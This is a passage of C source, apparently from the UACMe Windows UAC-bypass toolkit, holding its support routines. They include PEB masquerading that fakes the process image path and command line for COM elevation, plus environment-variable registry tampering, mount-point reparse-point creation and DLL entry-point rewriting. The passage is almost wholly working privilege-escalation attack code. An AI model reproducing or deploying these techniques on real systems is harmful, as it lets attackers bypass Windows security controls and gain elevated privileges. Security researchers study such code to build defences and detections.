Entry->OrigBaseDllName = DataTableEntry->BaseDllName.Buffer;
|
||
Entry->OrigFullDllName = DataTableEntry->FullDllName.Buffer;
|
||
FullDllName = Entry->FakedFullPath;
|
||
BaseDllName = &Entry->FakedFullPath[Entry->NameOffset];
|
||
}
|
||
|
||
RtlInitUnicodeString(&DataTableEntry->FullDllName, FullDllName);
|
||
RtlInitUnicodeString(&DataTableEntry->BaseDllName, BaseDllName);
|
||
|
||
*StopEnumeration = TRUE;
|
||
}
|
||
else {
|
||
*StopEnumeration = FALSE;
|
||
}
|
||
}
|
||
|
||
/*
|
||
* supMasqueradeProcess
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Fake/Restore current process information for COM elevation.
|
||
*
|
||
* RAiGetTokenForCOM -> AipGetTokenForService -> AiCheckSecureApplicationDirectory
|
||
*
|
||
*/
|
||
VOID supMasqueradeProcess(
|
||
_In_ BOOL Restore,
|
||
_In_ LPCWSTR Target
|
||
)
|
||
{
|
||
PPEB Peb = NtCurrentPeb();
|
||
PWSTR ImageFileName, CommandLine;
|
||
|
||
if (Restore == FALSE) {
|
||
RtlSecureZeroMemory(&g_LdrMasqueradeEntry, sizeof(g_LdrMasqueradeEntry));
|
||
_strcpy(g_LdrMasqueradeEntry.FakedFullPath, g_ctx->szSystemRoot);
|
||
g_LdrMasqueradeEntry.NameOffset = (USHORT)_strlen(g_LdrMasqueradeEntry.FakedFullPath);
|
||
_strcat(g_LdrMasqueradeEntry.FakedFullPath, Target);
|
||
}
|
||
|
||
RtlAcquirePebLock();
|
||
|
||
if (Restore) {
|
||
CommandLine = g_LdrMasqueradeEntry.OrigCommandLine;
|
||
ImageFileName = g_LdrMasqueradeEntry.OrigImagePathName;
|
||
g_LdrMasqueradeEntry.Restore = TRUE;
|
||
}
|
||
else {
|
||
g_LdrMasqueradeEntry.OrigImagePathName = Peb->ProcessParameters->ImagePathName.Buffer;
|
||
g_LdrMasqueradeEntry.OrigCommandLine = Peb->ProcessParameters->CommandLine.Buffer;
|
||
|
||
ImageFileName = g_LdrMasqueradeEntry.FakedFullPath;
|
||
CommandLine = &g_LdrMasqueradeEntry.FakedFullPath[g_LdrMasqueradeEntry.NameOffset];
|
||
}
|
||
|
||
RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, ImageFileName);
|
||
RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, CommandLine);
|
||
|
||
RtlReleasePebLock();
|
||
|
||
LdrEnumerateLoadedModules(0, &supxLdrEnumModulesCallback, (PVOID)&g_LdrMasqueradeEntry);
|
||
}
|
||
|
||
/*
|
||
* supExpandEnvironmentStrings
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Native ExpandEnvironmetStrings.
|
||
*
|
||
*/
|
||
DWORD supExpandEnvironmentStrings(
|
||
_In_ LPCWSTR lpSrc,
|
||
_In_ LPWSTR lpDst,
|
||
_In_ DWORD nSize
|
||
)
|
||
{
|
||
NTSTATUS Status;
|
||
UNICODE_STRING Source, Destination;
|
||
ULONG Length;
|
||
DWORD iSize;
|
||
|
||
if (nSize > (MAXUSHORT >> 1) - 2) {
|
||
iSize = (MAXUSHORT >> 1) - 2;
|
||
}
|
||
else {
|
||
iSize = nSize;
|
||
}
|
||
|
||
RtlInitUnicodeString(&Source, lpSrc);
|
||
Destination.Buffer = lpDst;
|
||
Destination.Length = 0;
|
||
Destination.MaximumLength = (USHORT)(iSize * sizeof(WCHAR));
|
||
Length = 0;
|
||
Status = RtlExpandEnvironmentStrings_U(NULL,
|
||
&Source,
|
||
&Destination,
|
||
&Length
|
||
);
|
||
if (NT_SUCCESS(Status) || Status == STATUS_BUFFER_TOO_SMALL) {
|
||
return (DWORD)(Length / sizeof(WCHAR));
|
||
}
|
||
else {
|
||
supSetLastErrorFromNtStatus(Status);
|
||
return 0;
|
||
}
|
||
}
|
||
|
||
/*
|
||
* sxsFilePathNoSlash
|
||
*
|
||
* Purpose:
|
||
*
|
||
* same as _filepath except it doesnt return last slash.
|
||
*
|
||
*/
|
||
wchar_t* sxsFilePathNoSlash(
|
||
const wchar_t* fname,
|
||
wchar_t* fpath
|
||
)
|
||
{
|
||
wchar_t* p = (wchar_t*)fname, * p0 = (wchar_t*)fname, * p1 = (wchar_t*)fpath;
|
||
|
||
if ((fname == 0) || (fpath == NULL))
|
||
return 0;
|
||
|
||
while (*fname != (wchar_t)0) {
|
||
if (*fname == '\\')
|
||
p = (wchar_t*)fname;
|
||
fname++;
|
||
}
|
||
|
||
while (p0 < p) {
|
||
*p1 = *p0;
|
||
p1++;
|
||
p0++;
|
||
}
|
||
*p1 = 0;
|
||
|
||
return fpath;
|
||
}
|
||
|
||
/*
|
||
* sxsFindLoaderEntry
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Return loader entry filename for sxs dll.
|
||
*
|
||
*/
|
||
BOOL sxsFindLoaderEntry(
|
||
_In_ PSXS_SEARCH_CONTEXT Context
|
||
)
|
||
{
|
||
NTSTATUS Status;
|
||
HANDLE hDll = NULL;
|
||
UNICODE_STRING usDll;
|
||
|
||
PLDR_DATA_TABLE_ENTRY LdrTableEntry = NULL;
|
||
|
||
RtlInitUnicodeString(&usDll, Context->DllName);
|
||
|
||
Status = LdrGetDllHandle(
|
||
NULL,
|
||
NULL,
|
||
&usDll,
|
||
&hDll);
|
||
|
||
if (NT_SUCCESS(Status)) {
|
||
|
||
Status = LdrFindEntryForAddress(
|
||
hDll,
|
||
&LdrTableEntry);
|
||
|
||
if (NT_SUCCESS(Status)) {
|
||
|
||
if (_strstri(
|
||
LdrTableEntry->FullDllName.Buffer,
|
||
L".local") == NULL)
|
||
{
|
||
if (_strstri(
|
||
LdrTableEntry->FullDllName.Buffer,
|
||
Context->SxsKey))
|
||
{
|
||
sxsFilePathNoSlash(
|
||
LdrTableEntry->FullDllName.Buffer,
|
||
Context->FullDllPath);
|
||
|
||
}
|
||
else
|
||
Status = STATUS_NOT_FOUND;
|
||
}
|
||
else
|
||
Status = STATUS_TOO_LATE;
|
||
}
|
||
}
|
||
|
||
return NT_SUCCESS(Status);
|
||
}
|
||
|
||
/*
|
||
* supxDeleteKeyRecursive
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Delete key and all it subkeys/values.
|
||
*
|
||
*/
|
||
BOOL supxDeleteKeyRecursive(
|
||
_In_ HKEY hKeyRoot,
|
||
_In_ LPWSTR lpSubKey)
|
||
{
|
||
LPWSTR lpEnd;
|
||
LONG lResult;
|
||
DWORD dwSize;
|
||
WCHAR szName[MAX_PATH + 1];
|
||
HKEY hKey;
|
||
FILETIME ftWrite;
|
||
|
||
//
|
||
// Attempt to delete key as is.
|
||
//
|
||
lResult = RegDeleteKey(hKeyRoot, lpSubKey);
|
||
if (lResult == ERROR_SUCCESS)
|
||
return TRUE;
|
||
|
||
//
|
||
// Try to open key to check if it exist.
|
||
//
|
||
lResult = RegOpenKeyEx(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
|
||
if (lResult != ERROR_SUCCESS) {
|
||
if (lResult == ERROR_FILE_NOT_FOUND)
|
||
return TRUE;
|
||
else
|
||
return FALSE;
|
||
}
|
||
|
||
//
|
||
// Add slash to the key path if not present.
|
||
//
|
||
lpEnd = _strend(lpSubKey);
|
||
if (*(lpEnd - 1) != TEXT('\\')) {
|
||
*lpEnd = TEXT('\\');
|
||
lpEnd++;
|
||
*lpEnd = TEXT('\0');
|
||
}
|
||
|
||
//
|
||
// Enumerate subkeys and call this func for each.
|
||
//
|
||
dwSize = MAX_PATH;
|
||
lResult = RegEnumKeyEx(hKey, 0, szName, &dwSize, NULL,
|
||
NULL, NULL, &ftWrite);
|
||
|
||
if (lResult == ERROR_SUCCESS) {
|
||
|
||
do {
|
||
|
||
_strncpy(lpEnd, MAX_PATH, szName, MAX_PATH);
|
||
|
||
if (!supxDeleteKeyRecursive(hKeyRoot, lpSubKey))
|
||
break;
|
||
|
||
dwSize = MAX_PATH;
|
||
|
||
lResult = RegEnumKeyEx(hKey, 0, szName, &dwSize, NULL,
|
||
NULL, NULL, &ftWrite);
|
||
|
||
} while (lResult == ERROR_SUCCESS);
|
||
}
|
||
|
||
lpEnd--;
|
||
*lpEnd = TEXT('\0');
|
||
|
||
RegCloseKey(hKey);
|
||
|
||
//
|
||
// Delete current key, all it subkeys should be already removed.
|
||
//
|
||
lResult = RegDeleteKey(hKeyRoot, lpSubKey);
|
||
if (lResult == ERROR_SUCCESS)
|
||
return TRUE;
|
||
|
||
return FALSE;
|
||
}
|
||
|
||
/*
|
||
* supRegDeleteKeyRecursive
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Delete key and all it subkeys/values.
|
||
*
|
||
* Remark:
|
||
*
|
||
* SubKey should not be longer than 260 chars.
|
||
*
|
||
*/
|
||
BOOL supRegDeleteKeyRecursive(
|
||
_In_ HKEY hKeyRoot,
|
||
_In_ LPCWSTR lpSubKey)
|
||
{
|
||
WCHAR szKeyName[MAX_PATH * 2];
|
||
RtlSecureZeroMemory(szKeyName, sizeof(szKeyName));
|
||
_strncpy(szKeyName, MAX_PATH * 2, lpSubKey, MAX_PATH);
|
||
return supxDeleteKeyRecursive(hKeyRoot, szKeyName);
|
||
}
|
||
|
||
/*
|
||
* supSetEnvVariableEx
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Remove or set current user environment variable (NTAPI variant).
|
||
*
|
||
*/
|
||
BOOL supSetEnvVariableEx(
|
||
_In_ BOOL fRemove,
|
||
_In_opt_ LPWSTR lpKeyName,
|
||
_In_ LPCWSTR lpVariableName,
|
||
_In_opt_ LPCWSTR lpVariableData
|
||
)
|
||
{
|
||
BOOL bNameAllocated = FALSE;
|
||
DWORD cbData;
|
||
NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
|
||
LPWSTR lpSubKey;
|
||
HANDLE hRoot = NULL, hSubKey = NULL;
|
||
|
||
OBJECT_ATTRIBUTES obja;
|
||
UNICODE_STRING usRootKey, usSubKey, usValueName;
|
||
|
||
usRootKey.Buffer = NULL;
|
||
|
||
do {
|
||
if (lpVariableName == NULL) {
|
||
//
|
||
// Nothing to set/remove.
|
||
//
|
||
break;
|
||
}
|
||
|
||
if ((lpVariableData == NULL) && (fRemove == FALSE))
|
||
break;
|
||
|
||
if (lpKeyName == NULL)
|
||
lpSubKey = L"Environment";
|
||
else
|
||
lpSubKey = lpKeyName;
|
||
|
||
ntStatus = RtlFormatCurrentUserKeyPath(&usRootKey);
|
||
if (!NT_SUCCESS(ntStatus))
|
||
break;
|
||
|
||
bNameAllocated = TRUE;
|
||
|
||
InitializeObjectAttributes(&obja, &usRootKey, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||
ntStatus = NtOpenKey(&hRoot, MAXIMUM_ALLOWED, &obja);
|
||
if (!NT_SUCCESS(ntStatus))
|
||
break;
|
||
|
||
RtlInitUnicodeString(&usSubKey, lpSubKey);
|
||
obja.RootDirectory = hRoot;
|
||
obja.ObjectName = &usSubKey;
|
||
ntStatus = NtOpenKey(&hSubKey, MAXIMUM_ALLOWED, &obja);
|
||
if (!NT_SUCCESS(ntStatus))
|
||
break;
|
||
|
||
RtlInitUnicodeString(&usValueName, lpVariableName);
|
||
|
||
if (fRemove) {
|
||
|
||
ntStatus = NtDeleteValueKey(hSubKey, &usValueName);
|
||
|
||
}
|
||
else {
|
||
|
||
cbData = (DWORD)((1 + _strlen(lpVariableData)) * sizeof(WCHAR));
|
||
|
||
ntStatus = NtSetValueKey(hSubKey,
|
||
&usValueName,
|
||
0,
|
||
REG_SZ,
|
||
(BYTE*)lpVariableData,
|
||
cbData);
|
||
|
||
}
|
||
|
||
if (NT_SUCCESS(ntStatus)) {
|
||
|
||
SendMessageTimeout(HWND_BROADCAST,
|
||
WM_SETTINGCHANGE,
|
||
0,
|
||
(LPARAM)lpVariableName,
|
||
SMTO_BLOCK,
|
||
1000,
|
||
NULL);
|
||
|
||
}
|
||
|
||
} while (FALSE);
|
||
|
||
if (hSubKey) NtClose(hSubKey);
|
||
if (hRoot) NtClose(hRoot);
|
||
if (bNameAllocated)
|
||
RtlFreeUnicodeString(&usRootKey);
|
||
|
||
return NT_SUCCESS(ntStatus);
|
||
}
|
||
|
||
/*
|
||
* supSetEnvVariable
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Remove or set current user environment variable.
|
||
*
|
||
*/
|
||
BOOL supSetEnvVariable(
|
||
_In_ BOOL fRemove,
|
||
_In_opt_ LPWSTR lpKeyName,
|
||
_In_ LPCWSTR lpVariableName,
|
||
_In_opt_ LPCWSTR lpVariableData
|
||
)
|
||
{
|
||
BOOL bResult = FALSE;
|
||
HKEY hKey = NULL;
|
||
DWORD cbData;
|
||
|
||
LPWSTR lpSubKey;
|
||
|
||
do {
|
||
if (lpVariableName == NULL)
|
||
break;
|
||
|
||
if (lpKeyName == NULL)
|
||
lpSubKey = L"Environment";
|
||
else
|
||
lpSubKey = lpKeyName;
|
||
|
||
if ((lpVariableData == NULL) && (fRemove == FALSE))
|
||
break;
|
||
|
||
if (RegOpenKey(HKEY_CURRENT_USER, lpSubKey, &hKey) != ERROR_SUCCESS)
|
||
break;
|
||
|
||
if (fRemove) {
|
||
bResult = (RegDeleteValue(hKey, lpVariableName) == ERROR_SUCCESS);
|
||
}
|
||
else {
|
||
cbData = (DWORD)((1 + _strlen(lpVariableData)) * sizeof(WCHAR));
|
||
bResult = (RegSetValueEx(hKey, lpVariableName, 0, REG_SZ,
|
||
(BYTE*)lpVariableData, cbData) == ERROR_SUCCESS);
|
||
|
||
}
|
||
|
||
if (bResult) {
|
||
SendMessageTimeout(HWND_BROADCAST,
|
||
WM_SETTINGCHANGE,
|
||
0,
|
||
(LPARAM)lpVariableName,
|
||
SMTO_BLOCK,
|
||
1000,
|
||
NULL);
|
||
}
|
||
|
||
} while (FALSE);
|
||
|
||
if (hKey != NULL) {
|
||
RegFlushKey(hKey);
|
||
RegCloseKey(hKey);
|
||
}
|
||
|
||
return bResult;
|
||
}
|
||
|
||
/*
|
||
* supSetEnvVariable
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Remove or set current user environment variable.
|
||
*
|
||
*/
|
||
BOOL supSetEnvVariable2(
|
||
_In_ BOOL fRemove,
|
||
_In_opt_ LPWSTR lpKeyName,
|
||
_In_ LPCWSTR lpVariableName,
|
||
_In_opt_ LPCWSTR lpVariableData
|
||
)
|
||
{
|
||
BOOL bResult = FALSE;
|
||
HKEY hKey = NULL;
|
||
DWORD cbData;
|
||
|
||
LPWSTR lpSubKey;
|
||
|
||
LARGE_INTEGER liValue;
|
||
ULONG seedValue;
|
||
WCHAR szNewKey[MAX_PATH];
|
||
|
||
do {
|
||
if (lpVariableName == NULL)
|
||
break;
|
||
|
||
if (lpKeyName == NULL)
|
||
lpSubKey = L"Environment";
|
||
else
|
||
lpSubKey = lpKeyName;
|
||
|
||
if ((lpVariableData == NULL) && (fRemove == FALSE))
|
||
break;
|
||
|
||
RtlSecureZeroMemory(&szNewKey, sizeof(szNewKey));
|
||
seedValue = GetTickCount();
|
||
liValue.LowPart = RtlRandomEx(&seedValue);
|
||
seedValue = ~GetTickCount();
|
||
liValue.HighPart = RtlRandomEx(&seedValue);
|
||
|
||
supBinTextEncode(liValue.QuadPart, szNewKey);
|
||
|
||
if (ERROR_SUCCESS == RegRenameKey(HKEY_CURRENT_USER, lpSubKey, szNewKey)) {
|
||
|
||
if (ERROR_SUCCESS == RegOpenKey(HKEY_CURRENT_USER, szNewKey, &hKey)) {
|
||
|
||
if (fRemove) {
|
||
bResult = (RegDeleteValue(hKey, lpVariableName) == ERROR_SUCCESS);
|
||
}
|
||
else {
|
||
cbData = (DWORD)((1 + _strlen(lpVariableData)) * sizeof(WCHAR));
|
||
bResult = (RegSetValueEx(hKey, lpVariableName, 0, REG_SZ,
|
||
(BYTE*)lpVariableData, cbData) == ERROR_SUCCESS);
|
||
|
||
|
||
}
|
||
|
||
RegFlushKey(hKey);
|
||
RegCloseKey(hKey);
|
||
hKey = NULL;
|
||
|
||
}
|
||
|
||
RegRenameKey(HKEY_CURRENT_USER, szNewKey, lpSubKey);
|
||
}
|
||
|
||
if (bResult) {
|
||
SendMessageTimeout(HWND_BROADCAST,
|
||
WM_SETTINGCHANGE,
|
||
0,
|
||
(LPARAM)lpVariableName,
|
||
SMTO_BLOCK,
|
||
1000,
|
||
NULL);
|
||
}
|
||
|
||
} while (FALSE);
|
||
|
||
if (hKey != NULL) {
|
||
RegFlushKey(hKey);
|
||
RegCloseKey(hKey);
|
||
}
|
||
|
||
return bResult;
|
||
}
|
||
|
||
/*
|
||
* supReplaceEnvironmentVariableValue
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Replace/Restore environment variable value.
|
||
*
|
||
*/
|
||
_Success_(return)
|
||
BOOL supReplaceEnvironmentVariableValue(
|
||
_In_opt_ LPWSTR lpKeyName,
|
||
_In_ LPWSTR lpVariableName,
|
||
_In_ DWORD dwType,
|
||
_In_opt_ LPWSTR lpVariableData,
|
||
_Out_opt_ PVOID *lpOldVariableData
|
||
)
|
||
{
|
||
BOOL bNameAllocated = FALSE, bDoBackup = (lpOldVariableData != NULL);
|
||
DWORD cbData;
|
||
NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
|
||
LPWSTR lpSubKey;
|
||
HANDLE hRoot = NULL, hSubKey = NULL;
|
||
|
||
OBJECT_ATTRIBUTES obja;
|
||
UNICODE_STRING usRootKey, usSubKey, usValueName;
|
||
|
||
usRootKey.Buffer = NULL;
|
||
|
||
do {
|
||
if (lpVariableName == NULL) {
|
||
//
|
||
// Nothing to replace.
|
||
//
|
||
break;
|
||
}
|
||
|
||
if (lpVariableData == NULL)
|
||
break;
|
||
|
||
if (lpKeyName == NULL)
|
||
lpSubKey = L"Environment";
|
||
else
|
||
lpSubKey = lpKeyName;
|
||
|
||
ntStatus = RtlFormatCurrentUserKeyPath(&usRootKey);
|
||
if (!NT_SUCCESS(ntStatus))
|
||
break;
|
||
|
||
bNameAllocated = TRUE;
|
||
|
||
InitializeObjectAttributes(&obja, &usRootKey, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||
ntStatus = NtOpenKey(&hRoot, MAXIMUM_ALLOWED, &obja);
|
||
if (!NT_SUCCESS(ntStatus))
|
||
break;
|
||
|
||
RtlInitUnicodeString(&usSubKey, lpSubKey);
|
||
obja.RootDirectory = hRoot;
|
||
obja.ObjectName = &usSubKey;
|
||
ntStatus = NtOpenKey(&hSubKey, MAXIMUM_ALLOWED, &obja);
|
||
if (!NT_SUCCESS(ntStatus))
|
||
break;
|
||
|
||
RtlInitUnicodeString(&usValueName, lpVariableName);
|
||
|
||
|
||
if (bDoBackup) {
|
||
|
||
cbData = 0;
|
||
|
||
//
|
||
// Read value, failure is not critical, value may not present.
|
||
//
|
||
supRegReadValue(hSubKey,
|
||
lpVariableName,
|
||
dwType,
|
||
lpOldVariableData,
|
||
&cbData,
|
||
g_ctx->ucmHeap);
|
||
|
||
}
|
||
|
||
cbData = (DWORD)((1 + _strlen(lpVariableData)) * sizeof(WCHAR));
|
||
|
||
ntStatus = NtSetValueKey(hSubKey,
|
||
&usValueName,
|
||
0,
|
||
dwType,
|
||
(BYTE*)lpVariableData,
|
||
cbData);
|
||
|
||
if (NT_SUCCESS(ntStatus)) {
|
||
|
||
SendMessageTimeout(HWND_BROADCAST,
|
||
WM_SETTINGCHANGE,
|
||
0,
|
||
(LPARAM)lpVariableName,
|
||
SMTO_BLOCK,
|
||
1000,
|
||
NULL);
|
||
|
||
}
|
||
|
||
} while (FALSE);
|
||
|
||
if (hSubKey) NtClose(hSubKey);
|
||
if (hRoot) NtClose(hRoot);
|
||
if (bNameAllocated)
|
||
RtlFreeUnicodeString(&usRootKey);
|
||
|
||
return NT_SUCCESS(ntStatus);
|
||
}
|
||
|
||
/*
|
||
* supDeleteMountPoint
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Removes reparse point of type mount_point.
|
||
*
|
||
*/
|
||
BOOL supDeleteMountPoint(
|
||
_In_ HANDLE hDirectory
|
||
)
|
||
{
|
||
NTSTATUS status;
|
||
IO_STATUS_BLOCK IoStatusBlock;
|
||
|
||
REPARSE_GUID_DATA_BUFFER Buffer;
|
||
|
||
RtlSecureZeroMemory(&Buffer, sizeof(REPARSE_GUID_DATA_BUFFER));
|
||
Buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
|
||
|
||
status = NtFsControlFile(hDirectory,
|
||
NULL,
|
||
NULL,
|
||
NULL,
|
||
&IoStatusBlock,
|
||
FSCTL_DELETE_REPARSE_POINT,
|
||
&Buffer,
|
||
REPARSE_GUID_DATA_BUFFER_HEADER_SIZE,
|
||
NULL,
|
||
0);
|
||
|
||
if (status == STATUS_NOT_A_REPARSE_POINT) {
|
||
SetLastError(ERROR_INVALID_PARAMETER);
|
||
}
|
||
else {
|
||
supSetLastErrorFromNtStatus(status);
|
||
}
|
||
|
||
return NT_SUCCESS(status);
|
||
}
|
||
|
||
/*
|
||
* supSetMountPoint
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Install reparse point of type mount_point to target.
|
||
*
|
||
*/
|
||
BOOL supSetMountPoint(
|
||
_In_ HANDLE hDirectory,
|
||
_In_ LPCWSTR lpTarget,
|
||
_In_ LPCWSTR lpPrintName
|
||
)
|
||
{
|
||
ULONG memIO;
|
||
USHORT cbTarget, cbPrintName, reparseDataLength;
|
||
NTSTATUS status;
|
||
IO_STATUS_BLOCK IoStatusBlock;
|
||
|
||
REPARSE_DATA_BUFFER* Buffer;
|
||
|
||
if ((lpTarget == NULL) || (lpPrintName == NULL)) {
|
||
SetLastError(ERROR_INVALID_PARAMETER);
|
||
return FALSE;
|
||
}
|
||
|
||
//
|
||
// Calculate required buffer size.
|
||
// Header + length of input strings + safe space.
|
||
//
|
||
cbTarget = (USHORT)(_strlen(lpTarget) * sizeof(WCHAR));
|
||
cbPrintName = (USHORT)(_strlen(lpPrintName) * sizeof(WCHAR));
|
||
|
||
reparseDataLength = cbTarget + cbPrintName + 12;
|
||
memIO = (ULONG)(reparseDataLength + REPARSE_DATA_BUFFER_HEADER_LENGTH);
|
||
|
||
Buffer = (REPARSE_DATA_BUFFER*)supHeapAlloc((SIZE_T)memIO);
|
||
if (Buffer == NULL)
|
||
return FALSE;
|
||
|
||
//
|
||
// Setup reparse point structure.
|
||
//
|
||
Buffer->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
|
||
Buffer->ReparseDataLength = reparseDataLength;
|
||
|
||
//
|
||
// Add Target to PathBuffer.
|
||
//
|
||
Buffer->MountPointReparseBuffer.SubstituteNameOffset = 0;
|
||
Buffer->MountPointReparseBuffer.SubstituteNameLength = cbTarget;
|
||
|
||
RtlCopyMemory(Buffer->MountPointReparseBuffer.PathBuffer,
|
||
lpTarget,
|
||
cbTarget);
|
||
|
||
//
|
||
// Add PrintName to PathBuffer.
|
||
//
|
||
Buffer->MountPointReparseBuffer.PrintNameOffset = cbTarget + sizeof(UNICODE_NULL);
|
||
Buffer->MountPointReparseBuffer.PrintNameLength = cbPrintName;
|
||
|
||
RtlCopyMemory(&Buffer->MountPointReparseBuffer.PathBuffer[(cbTarget / sizeof(WCHAR)) + 1],
|
||
lpPrintName,
|
||
cbPrintName);
|
||
|
||
//
|
||
// Set reparse point.
|
||
//
|
||
status = NtFsControlFile(hDirectory,
|
||
NULL,
|
||
NULL,
|
||
NULL,
|
||
&IoStatusBlock,
|
||
FSCTL_SET_REPARSE_POINT,
|
||
Buffer,
|
||
memIO,
|
||
NULL,
|
||
0);
|
||
|
||
supHeapFree(Buffer);
|
||
|
||
supSetLastErrorFromNtStatus(status);
|
||
return NT_SUCCESS(status);
|
||
}
|
||
|
||
/*
|
||
* supOpenDirectoryForReparse
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Open directory handle to set reparse point.
|
||
*
|
||
*/
|
||
HANDLE supOpenDirectoryForReparse(
|
||
_In_ LPCWSTR lpDirectory
|
||
)
|
||
{
|
||
NTSTATUS status = STATUS_UNSUCCESSFUL;
|
||
HANDLE hReparseDirectory = NULL;
|
||
UNICODE_STRING usReparseDirectory;
|
||
IO_STATUS_BLOCK IoStatusBlock;
|
||
OBJECT_ATTRIBUTES ObjectAttributes;
|
||
|
||
usReparseDirectory.Buffer = NULL;
|
||
if (RtlDosPathNameToNtPathName_U(lpDirectory, &usReparseDirectory, NULL, NULL)) {
|
||
|
||
InitializeObjectAttributes(&ObjectAttributes, &usReparseDirectory, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||
|
||
status = NtCreateFile(&hReparseDirectory,
|
||
FILE_ALL_ACCESS,
|
||
&ObjectAttributes,
|
||
&IoStatusBlock,
|
||
NULL,
|
||
0,
|
||
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||
FILE_OPEN,
|
||
FILE_OPEN_REPARSE_POINT | FILE_SYNCHRONOUS_IO_NONALERT,
|
||
NULL,
|
||
0);
|
||
|
||
RtlFreeUnicodeString(&usReparseDirectory);
|
||
}
|
||
|
||
supSetLastErrorFromNtStatus(status);
|
||
|
||
return hReparseDirectory;
|
||
}
|
||
|
||
/*
|
||
* supWinstationToName
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Retrieves winstation string name.
|
||
*
|
||
*/
|
||
BOOL supWinstationToName(
|
||
_In_opt_ HWINSTA hWinsta,
|
||
_In_ LPWSTR lpBuffer,
|
||
_In_ DWORD cbBuffer,
|
||
_Out_ PDWORD BytesNeeded
|
||
)
|
||
{
|
||
HWINSTA hObject;
|
||
|
||
if (hWinsta == NULL)
|
||
hObject = GetProcessWindowStation();
|
||
else
|
||
hObject = hWinsta;
|
||
|
||
return GetUserObjectInformation(
|
||
hObject,
|
||
UOI_NAME,
|
||
lpBuffer,
|
||
cbBuffer,
|
||
BytesNeeded);
|
||
}
|
||
|
||
/*
|
||
* supDesktopToName
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Retrieves desktop string name.
|
||
*
|
||
*/
|
||
BOOL supDesktopToName(
|
||
_In_opt_ HDESK hDesktop,
|
||
_In_ LPWSTR lpBuffer,
|
||
_In_ DWORD cbBuffer,
|
||
_Out_ PDWORD BytesNeeded
|
||
)
|
||
{
|
||
HDESK hObject;
|
||
|
||
if (hDesktop == NULL)
|
||
hObject = GetThreadDesktop(GetCurrentThreadId());
|
||
else
|
||
hObject = hDesktop;
|
||
|
||
return GetUserObjectInformation(
|
||
hObject,
|
||
UOI_NAME,
|
||
lpBuffer,
|
||
cbBuffer,
|
||
BytesNeeded);
|
||
}
|
||
|
||
/*
|
||
* supReplaceDllEntryPoint
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Replace DLL entry point and optionally convert dll to exe.
|
||
*
|
||
*/
|
||
BOOL supReplaceDllEntryPoint(
|
||
_In_ PVOID DllImage,
|
||
_In_ ULONG SizeOfDllImage,
|
||
_In_ LPCSTR lpEntryPointName,
|
||
_In_ BOOL fConvertToExe
|
||
)
|
||
{
|
||
BOOL bResult = FALSE;
|
||
PIMAGE_NT_HEADERS NtHeaders;
|
||
DWORD DllVirtualSize;
|
||
PVOID DllBase, EntryPoint;
|
||
|
||
NtHeaders = RtlImageNtHeader(DllImage);
|
||
if (NtHeaders) {
|
||
|
||
DllVirtualSize = 0;
|
||
DllBase = PELoaderLoadImage(DllImage, &DllVirtualSize);
|
||
if (DllBase) {
|
||
//
|
||
// Get the new entrypoint.
|
||
//
|
||
EntryPoint = PELoaderGetProcAddress(DllBase, (PCHAR)lpEntryPointName);
|
||
if (EntryPoint) {
|
||
//
|
||
// Set new entrypoint and recalculate checksum.
|
||
//
|
||
NtHeaders->OptionalHeader.AddressOfEntryPoint =
|
||
(ULONG)((ULONG_PTR)EntryPoint - (ULONG_PTR)DllBase);
|
||
|
||
if (fConvertToExe)
|
||
NtHeaders->FileHeader.Characteristics &= ~IMAGE_FILE_DLL;
|
||
|
||
NtHeaders->OptionalHeader.CheckSum =
|
||
supCalculateCheckSumForMappedFile(DllImage, SizeOfDllImage);
|
||
|
||
bResult = TRUE;
|
||
}
|
||
VirtualFree(DllBase, 0, MEM_RELEASE);
|
||
}
|
||
}
|
||
return bResult;
|
||
}
|
||
|
||
/*
|
||
* supQuerySystemRoot
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Query system root value from registry to the program global context.
|
||
*
|
||
*/
|
||
BOOL supQuerySystemRoot(
|
||
_Inout_ PVOID Context)
|
||
{
|
||
BOOL bResult = FALSE, needBackslash = FALSE;
|
||
NTSTATUS Status;
|
||
UNICODE_STRING UString;
|
||
OBJECT_ATTRIBUTES ObjectAttributes;
|
||
|
||
PWCHAR lpData = NULL;
|
||
SIZE_T ccm = 0, cch = 0;
|
||
HANDLE hKey = NULL;
|
||
|
||
PUACMECONTEXT context = (PUACMECONTEXT)Context;
|
||
|
||
WCHAR szBuffer[MAX_PATH];
|
||
WCHAR szSystem32Prep[] = { L's', L'y', L's', L't', L'e', L'm', L'3', L'2', L'\\', 0 };
|
||
|
||
ULONG Length = 0, cbSystem32Prep = sizeof(szSystem32Prep) - sizeof(WCHAR);
|
||
|
||
do {
|
||
_strcpy(szBuffer, T_REGISTRY_PREP);
|
||
_strcat(szBuffer, T_WINDOWS_CURRENT_VERSION);
|
||
RtlInitUnicodeString(&UString, szBuffer);
|
||
|
||
InitializeObjectAttributes(&ObjectAttributes, &UString, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||
Status = NtOpenKey(&hKey, KEY_READ, &ObjectAttributes);
|
||
if (!NT_SUCCESS(Status))
|
||
break;
|
||
|
||
Status = supRegReadValue(hKey, L"SystemRoot", REG_SZ, (PVOID*)&lpData, &Length, context->ucmHeap);
|
||
